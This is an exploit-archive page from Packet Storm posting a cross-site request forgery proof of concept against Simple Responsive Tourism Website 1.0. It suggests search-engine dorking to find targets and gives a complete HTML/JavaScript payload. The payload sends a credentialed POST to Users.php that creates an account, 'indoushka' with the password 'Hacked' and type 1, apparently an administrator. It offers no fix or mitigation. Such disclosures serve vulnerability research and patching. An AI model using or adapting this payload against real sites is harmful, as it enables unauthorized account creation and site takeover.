exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Simple Responsive Tourism Website 1.0 Cross Site Request Forgery

Simple Responsive Tourism Website 1.0 Cross Site Request Forgery
Posted Sep 30, 2024
Authored by indoushka

Simple Responsive Tourism Website version 1.0 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 493173ed90bd6f03279d5ce769c941991460d6871a24971c93c031df10a0443c

Simple Responsive Tourism Website 1.0 Cross Site Request Forgery

Change Mirror Download
=============================================================================================================================================
| # Title : Simple Responsive Tourism Website v1.0 CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/tourism_1.zip |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following JavaScript code :

creating a POST request using JavaScript to send certain data to a local server via HTTP. Here are the key points:

[+] Create an XMLHttpRequest object:

xhr = new XMLHttpRequest(); Creates an XMLHttpRequest object that is used to send requests to the server.

[+] Open the request:

xhr.open("POST", "http://127.0.0.1/tourism/classes/Users.php?f=save", true); Opens a connection to the specified URL (in this case, a local server) using the HTTP method "POST".

[+] Set the request headers:

xhr.setRequestHeader("Accept", "*/*"); Specifies that the request accepts any type of response.
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); Specifies that the request accepts responses in English.
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------"); Specifies the content type of the request as multipart/form-data with specified boundaries.

[+] Enable sending cookies:

xhr.withCredentials = true; Specifies that cookies should be sent with the request.

[+] Setting up the request data:

The body is set up using a string containing the form data parts. Each part contains information such as username, password, and type.

This string is converted to a Uint8Array and then to a Blob to be sent.

[+] Sending the request:

xhr.send(new Blob([aBody])); Sends the data to the server.

[+] User Interface:
There is a button inside the HTML form that calls the submitRequest() function when clicked, which executes the request.

[+] Go to the line 6. Set the target site link Save changes and apply .

[+] infected file : Users.php.

[+] Line 15 : Choose a name "indoushka".

[+] Line 19 : Choose a pass "Hacked".

[+] save code as poc.html

[+] payload :

<!DOCTYPE html>
<html>
<body>
<script> function submitRequest()
{ var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/php-ycrs\/tourism\/Users.php?f=save", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------");
xhr.withCredentials = true;
var body =
"-----------------------------\r\n" +
"Content-Disposition: form-data; name=\"username\"\r\n" +
"\r\n" +
"indoushka\r\n" +
"-----------------------------\r\n" +
"Content-Disposition: form-data; name=\"password\"\r\n" +
"\r\n" +
"Hacked\r\n" +
"-----------------------------\r\n" +
"Content-Disposition: form-data; name=\"type\"\r\n" +
"\r\n" +
"1\r\n" +
"-------------------------------\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close